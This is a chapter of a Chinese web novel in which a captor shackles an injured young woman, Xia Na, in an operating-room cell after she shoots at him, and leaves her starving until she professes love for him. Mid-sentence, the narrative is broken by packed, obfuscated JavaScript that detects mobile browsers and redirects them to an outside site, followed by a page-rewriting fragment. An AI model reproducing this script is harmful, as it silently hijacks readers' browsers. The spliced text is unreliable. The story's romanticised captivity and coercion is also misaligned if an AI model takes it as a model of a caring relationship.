26. 第 26 章
作品:《奇怪的新邻居》 空间一时变得有些紧凑。
泪眼朦胧间,仿佛有电流从耳膜穿过直抵颅骨,夏纳痛苦地闭了闭眼,仍旧感受不到下巴的存在,下半张脸好像消失了,她变成了一只怪物。
“你可以点头或者摇头。”
谁在说话?
看不见,周围好黑,好冷……
她最听话了,还是回应一下他吧。
夏纳点了点头。
那道声音又出现了,带了些如释重负的意味:“很好,那你好好养伤,等腿好了,我们可以慢慢来,纳纳,我已经有些迫不及待了。”
很烦。
很聒噪。
她想伸手捂住耳朵,但身上似乎有种阴冷的微妙的注视让她心底发寒,手臂被冰封住了,抬不起来。
“咔嗒”一下,短暂的刺痛后,脸上好像多出来了一块,有些陌生又有些熟悉,与她紧紧相连,上下一合,分离许久的嘴唇再次贴合在一起。
她舔了舔唇,一股铁锈味。
紧接着,那股紧压她的力道脱离开,身体从柔软的床垫上回弹,她竟然有一种失重的错觉,好像躺在了云朵上。
“那么,我去让人给你准备早餐,想吃什么?啊,你现在的样子应该也没什么心情吃,这可不行,还是我来安排吧。”
它又说话了。
好吵。
她得让它安静下来,不然她会疯的。
夏纳睁开眼,想去看看是什么在发出声音。
一只眼睛。
巨大的眼睛,它藏在黑雾里正在这片狭小的空间里挪动。
这太可怕了。
世界上怎么会有这种东西存在?!
而且它还在看着她,持续地发出噪音,这令她极其抓狂。
去死……
死了就会安静了……
对,她要杀了它。
夏纳开始在身边摸索,试图找到一件称手的工具来帮她对抗,然后她的手被一件硬物磕碰了下。
找到了。
……
“是的,我会在这里用早餐,准备好了就直接送过来吧。”
挂断电话,乔瓦尼走到门口,手放在门把手上正要推开,身后传来一阵很奇怪的动静,他回过头。
女孩在拼命地抓挠自己的皮肤,数不清的血痕在细腻白皙的皮肤上浮现,像一条条红线虫在蚕食她的□□。
她好像疯了,又开始在床上翻找着什么,床单、被子、衣服都被掀了起来,鸭绒枕头表面被撕扯开,羽毛像雪花一样飞散。
漫天飘散的羽毛中,她突然停下了。
乔瓦尼冷淡地看她从床缝里摸出了个黑色的手枪,很老旧的款式,不知道为什么会出现在那里。
大概又是文森佐的猫衔过来的。
夏纳举起枪,枪口对准了他。
她的表情有一瞬失真。
“叩叩。”
房门被敲响的刹那,“砰”的一声伴随着火光和硝烟响彻云霄。
整栋建筑似乎都为之一抖,停在窗前树梢上的麻雀惊散而起,门外一声刺耳的尖叫声乍响,东西噼里啪啦碎了一地。
然后,整个世界都安静了。
硝烟散去,乔瓦尼拍了拍肩膀上的灰,眼神明亮异常,他没去看门上那个被打穿的洞,一步步走向床上的人。
“踏、踏、踏……”
脚步声清晰明亮。
女孩呆滞地扔掉了手枪,身上的吊带睡裙已经被撕成几条破布,堪堪遮住重要部位,曝露在外的皮肤上满是被指甲划破的血痕。
她像是不知道自己做了什么,茫然地看着周围的一切。
脖子被一只大手掐住的时候,夏纳认清了一个事实。
什么都没有变,她就是个疯子。
她和他没有本质的区别。
他们是一类人。
“哈哈……很好,纳纳,你可真是让我惊喜。”
乔瓦尼笑了起来,眼神又在一瞬间变得狠戾,他捞起她的腰,扛在肩膀上,大步从房间里走了出去。
肚子被挤压的难受,内心油然而生的惶恐让她将这种感觉忽略掉了。
房门被猛地踹开,迈出去的瞬间,夏纳趴在他的肩膀上,看见满地的鲜血以及倒在地上的女仆——邦妮。
……
空间在不断变幻,从悄无声息走到嘈杂混乱再到一片死寂,空气里浮动着一股霉菌的异味,阴暗又潮湿。
嗖的一下,有什么窜了过去,夏纳看的清楚,那是只老鼠。
青年没有停下脚步,她还在移动。
走廊两边的声控灯随他们的到来一盏盏亮起,光线并不明亮,昏暗的仿佛许久没有换过电池,仅能照亮一小片角落。
直至尽头,颠簸才结束。
乔瓦尼在密码锁上输入了6位数字,电子音在黑暗里荡出回响,门打开,他扛着她走了进去,门又自动关闭。
被放下的时候,夏纳肚子疼的厉害,身下台面像一块冰,凉意砭骨,她忍不住倒抽一口凉气,手脚蜷缩起来。
下一秒,两条腿被强势分开拉直,铁环似的东西将她紧紧箍住,她忍不住翻身去看,手也被同样的东西束缚住了,只好以一种待宰割的姿势平躺在台面上,将全身最脆弱的地方暴露出来。
“啪!”
头顶上,手术灯向外散发出它的炽芒,像是要把人烧穿的镁光灯,刺的她眼睛生疼,无法直视。
就连身上那股强烈的注视似乎都被冲淡了,她突然感觉到一阵恐慌,是发自内心的极为强烈的恐慌。
“乔瓦尼……”
不知道该不该叫他的名字,明明不久前她曾做了个冲动而又愚蠢的行为,她妄图杀掉他。
可在这里,她没有别的人可以依靠了,她只有他——不得不承认这个可悲的事实,如果他也离开,那她将万劫不复。
他可以毁了她,也能拯救她。
时间仿佛被无限拉长,每一秒都是煎熬,夏纳感觉自己掉进了虚空,视野里只有无止境的白色。
“乔瓦尼!乔瓦尼,你出来!你出来……你不能把我一个人留在这里……我求求你……你出来……”
声音抖的不成样子,嗓子火辣辣的疼,声带像是撕裂开了,到最后连哭都仿佛带了浓重的血腥味。
恍然间,眼前一黑。
夏纳愣了下,身上灯光的热量并没有消失,有一双手捂住了她的眼睛。
“我在。”
他声音平缓,不知是否是她的错觉,她竟听出其中有几分情真意切的温柔。
她拼命地向上拱着,试图与他贴的更近,感受他的存在。
“该拿你怎么办好呢,本来就想这么一走了之,让你在这里好好反思一下,但看你这么需要我的样子,我竟然心软了。”
掌心下有湿意涌出,乔瓦尼俯视着她,表情有些无可奈何。
“眼泪怎么那么多……好了,别怕,虽然我对那个人的死活并不在意,可到底闹出了这么大动静,我总要去解决,在此之前,你需要在这里待着。”
女孩哭的发不出声音了,嘴唇嗫嚅着,他看出了她的唇形。
“什么时候放你出去?这个不好说呢。”
他残忍而绝情地笑了声,“纳纳,你是不是忘了,刚才你可是想杀掉我哦,可惜你没摸过枪,手法太拙劣,如果你对这个感兴趣的话,等日后我会慢慢教你,只不过——”
“我现在还在生气。”
他声音蓦然冷下。
“你实在令我失望,我没想到你竟然这么恨我,我们之间不该有这些,在你想清楚前,我不会出现。”
收回手的瞬间,那灼热的光再度照下来,她突然猛烈地抽搐了下,喉咙里发出浑浊的呜咽:
“别、别走……我求求你……帕加诺先生,你别走……对不起……我错了……”
空气再度安静下来,除了自身的呼吸和呜咽外再没有声音传来的空间昭示着那人已经离开。
这次真的只剩她一个人了。
她分明闭着眼,但世界却是亮的,并且越来越亮,太阳穴突突的痛。
夏纳难以忍受地想抓挠自己的头发,她扭动挣扎想挣脱开镣铐,皮肤被磨的生疼,锁扣吱呀作响,像无数只老鼠在耳畔吱鸣。
徒劳无功……
努力过后她接受了现实,内心只剩一片茫然与空洞。
于是,她开始幻想。
幻想车祸后会发生什么,会有人知道她消失了吗?在那最后一刻她好像看见西蒙跑了过来,他还活着吗?
她希望他活着,他是个好人,而且他的姐姐梅丽莎待她不错,要是知道她的弟弟出事会很伤心吧,她不想她伤心难过。
像他们那样善良的人应该长命百岁的,待她好的人不多,她真心希望这样。
她又幻想到大学时学校里的那只流浪猫,之前很想收养来着,但她连自己都养不好,还是别去打搅它了,它会碰到更好的主人,做一只有家的平安幸福的猫。
然后她久违地想到了她的母亲——江诺。
在陌生人眼里她永远都是那个优雅大方自信的钢琴家,可只有熟悉的人才知道,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386793|200032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其实是个极端敏感又神经质的疯子。
她总是把一切想的很糟糕,眼里容不下一点不好,那会让她抓狂,她给生活制定了一套严格的规则,并且让自己乃至身边所有人都去践行,有不符合她心意的便会招惹她的怒火和怨骂。
她总是在抱怨,总是在生气,总是在哭闹,在夏纳印象里,已经不记得她有没有笑过了,那太过稀缺。
而今,她好像也活成了她的样子。
周围人看她的眼神和当年别人看母亲的眼神是一样的。
是天意吗。
那最让她厌恶又最令她渴望的存在——她的母亲。
她也曾深爱过她,并且在她死后,依旧在努力在身边寻找着她的影子,即便她的那些行为毁了她一辈子,让她苦苦挣扎着活了这些年。
在无尽的白昼下,一切仿佛归于黑暗中的黑暗,分不清白天或者黑夜。
苏醒又昏迷。
心脏重的不可思议,下降、持续下降,所有感官仿佛都消失了,给了她一种死亡的错觉。
夏纳再次醒来,感受到一股难以忍受的焦渴。
她迫切的需要水,需要食物。
转动头部,用尚可灵活运转的眼珠观察水平面的周围。
这是一间类似手术室的地方,柜子上放了一排手术刀等工具,旁边的透明玻璃罐有块分不清部位的□□浸泡在福尔马林里。
除此之外,没有任何食物。
时间无止境的流逝,不知是不是生病了,她感觉到一股异常的燥热,头顶的白炽光更加重了这种错觉,身体的水分正在被蒸发。
她舔了舔唇,唇面还是干的,嘴角稍稍扯开一点幅度,便有撕裂般的刺痛,血珠渗了出来。
像久旱逢甘霖,舌头急迫地将那点液体卷进去,换来的是更深的焦渴。
她再次看向那个透明玻璃罐。
喉咙情不自禁地上下滚动。
睡吧,睡吧,睡着了就好了……
夏纳再次试图闭上眼睛,但意识却格外的清醒。
一阵轻微的响动引起了她的注意,她转动眼珠看过去,发现那是一只缩在角落里的老鼠,极其硕大,足有成年人的小臂那么长。
它不动了,虎视眈眈地看着这边,仿佛是在等一餐美味的佳肴。
恐惧再次翻涌而来,她浑身紧绷,眼睛死死地盯着那只老鼠。
十分钟,或者半小时,已经没了时间观念,眼眶变得极其干燥,她不得不闭上眼睛缓一缓。
耳边再次传来细微的响动,她再次睁开眼,惊恐的发现距离变近了,那只老鼠正在向她靠近。
这次她撑的时间久了些,直到眼眶不受控制地合上,快要失明,她才闭上眼,缓了很久很久,再次睁开,老鼠几乎块爬上台面。
她身体痉挛性的畏缩,感觉自己就像一块案板上的肉,马上就要被吃掉了。
不,不要……
她想哭,可眼眶干涸的一滴泪都挤不出来。
深深的绝望中,一阵电子音破空而来。
是幻觉吗?
六声密码按下,门打开了。
新鲜的空气钻进肺部,靠近的脚步声沉稳有力,紧接着头顶的手术灯“啪”的熄灭了。
清凉的液体顺着嘴灌了进来,夏纳感觉自己像一条搁浅的鱼被重新放回了海里,拼命汲取水分。
青年一下下抚摸她的头,安抚道:“慢点喝,会呛到的。”
夏纳还是呛到了。
她剧烈地咳嗽起来,水从嘴里溢出来,咳的到处都是,束缚手腕的镣铐被打开,她被扶着坐了起来,一只手在背后轻轻地拍着。
她缓过来,像只八爪鱼那样紧紧将他抱住,像是要将自己埋进他的身体,全身都在颤抖。
乔瓦尼稍微有些意外。
她的反应超脱了他的预料,明明刚过去六个小时而已。
来的时候他甚至在想,如果她还没有想清楚,或许可以再等六个小时。
“我爱您,帕加诺先生,我爱您……”
现在看来,效果非常好,他甚至不需要再多问一句话来确认她的内心。
他伸手解开她脚上的镣铐,将人抱了起来。
回应她:“嗯,我知道。”
出去的时候,踢到了什么,发出哐啷一声响,乔瓦尼没有在意,从上面迈了过去。
夏纳趴在他的肩头,看见了那件东西,身体又忍不住痉挛性地颤抖了下。
那只是一只黑色的铁盒子,有针线之类的东西从里面掉了出来。
原来不是老鼠。

